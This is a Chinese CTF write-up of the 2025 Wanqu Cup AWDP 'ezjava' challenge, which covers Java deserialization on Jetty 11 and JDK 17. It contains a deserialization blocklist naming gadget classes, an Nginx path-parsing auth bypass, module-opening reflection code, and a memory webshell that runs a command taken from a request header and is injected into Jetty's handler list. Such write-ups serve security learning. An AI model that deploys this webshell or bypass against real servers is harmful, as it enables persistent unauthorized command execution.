2025湾区杯之AWDP-web-ezjava详解
字数 1008 2025-09-23 19:27:38
2025湾区杯AWDP赛题ezjava漏洞利用详解
题目概述
本题为2025年湾区杯AWDP比赛中一道Web题目,考察Java反序列化漏洞利用能力。题目基于Jetty服务器,需要绕过自定义黑名单防御机制,利用JNI加密库特性,最终实现内存马注入。
环境分析
核心代码结构
public class AdminServlet extends HttpServlet {
private static final byte[] SECRET_KEY = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".getBytes(StandardCharsets.UTF_8);
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.getWriter().println(Arrays.toString(SECRET_KEY));
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String body = req.getReader().lines().collect(Collectors.joining(System.lineSeparator()));
// 1. Base64解码
byte[] encryptedData = Base64.getDecoder().decode(body);
// 2. JNI解密
byte[] decryptedData = JniCrypto.decrypt(encryptedData, SECRET_KEY);
// 3. 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(decryptedData);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();
}
}
防御机制
自定义ObjectInputStream黑名单检测:
public class MyObjectInputStream extends ObjectInputStream {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = {
"java.net.InetAddress", "sun.rmi.transport.tcp.TCPTransport",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"java.lang.Runtime", "java.lang.ProcessBuilder",
"org.springframework.aop.aspectj.AspectJAroundAdvice"
// 完整黑名单包含30+个类
};
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}
漏洞利用链构建
链式结构设计
需要结合两种利用链:
- SpringBoot AOP链(起点:EventListenerList)
- JDK 17新链(替代TemplatesImpl的字节码生成方式)
关键绕过技术
1. Jetty解析差异绕过
Nginx配置存在路径解析差异:
location /myapp/ {
auth_basic "Admin Area";
proxy_pass http://127.0.0.1:8080;
}
可通过/myapp/;admin绕过认证
2. JNI加密处理
libcrypto.so中的加密函数需要逆向分析,实际为变种AES算法。需先通过GET请求获取SECRET_KEY,然后使用相同算法加密payload。
3. 模块系统绕过
JDK 17需要处理模块访问限制,关键代码:
// 打开模块访问权限
Method getModule = Class.class.getDeclaredMethod("getModule");
Module module = (Module) getModule.invoke(targetClass);
Method isOpen = Module.class.getDeclaredMethod("isOpen", String.class, Module.class);
if (!(Boolean) isOpen.invoke(module, pkg, Module.class.getModule())) {
Method openModule = Module.class.getDeclaredMethod("open", String.class);
openModule.invoke(module, pkg);
}
内存马注入技术
Jetty高版本适配
Jetty 11.0.26使用jakarta.servlet包而非javax.servlet,需要重新挖掘内存马。
上下文获取技术
使用java-object-searcher工具从线程中获取Request对象:
// 搜索Request对象
List<Keyword> keywords = new ArrayList<>();
keywords.add(new Keyword.Builder().setField_type("org.eclipse.jetty.server.Request").build());
SearchRequester searcher = new SearchRequester(thread, keywords);
searcher.search();
内存马实现代码
Field _channelField = httpConnection.getClass().getDeclaredField("_channel");
_channelField.setAccessible(true);
Object channel = _channelField.get(httpConnection);
Field _requestField = channel.getClass().getDeclaredField("_request");
_requestField.setAccessible(true);
Request request = (Request) _requestField.get(channel);
// 命令执行逻辑
String cmd = request.getHeader("shushu");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
// 结果回传
}
注入技术
通过反射修改HandlerList实现注入:
Field _handlersField = server.getClass().getDeclaredField("_handlers");
_handlersField.setAccessible(true);
Handler[] handlers = (Handler[]) _handlersField.get(server);
// 创建新的HandlerList并注入
HandlerList newHandlers = new HandlerList();
newHandlers.addHandler(maliciousHandler);
newHandlers.addHandler(handlers);
_handlersField.set(server, newHandlers);
完整利用流程
- 获取密钥:GET请求
/admin获取SECRET_KEY - 构造payload:结合Spring AOP和JDK17链构造反序列化数据
- 加密处理:使用变种AES算法加密payload
- 发送请求:POST发送Base64编码的加密数据
- 绕过认证:使用路径
/myapp/;admin绕过Nginx认证 - 内存马注入:成功执行反序列化后注入内存马
- 命令执行:通过自定义请求头执行系统命令
技术要点总结
- 黑名单绕过:利用非黑名单类构造利用链
- 高版本适配:JDK 17模块系统和Jetty 11包名变化处理
- JNI分析:需要逆向分析加密算法实现
- 内存马技术:高版本Jetty的内存马实现方式
- 解析差异:利用Web服务器解析特性绕过防护
该题目综合考察了Java反序列化、加密算法分析、内存马等多项高级渗透技术,需要具备完整的Java漏洞利用知识体系。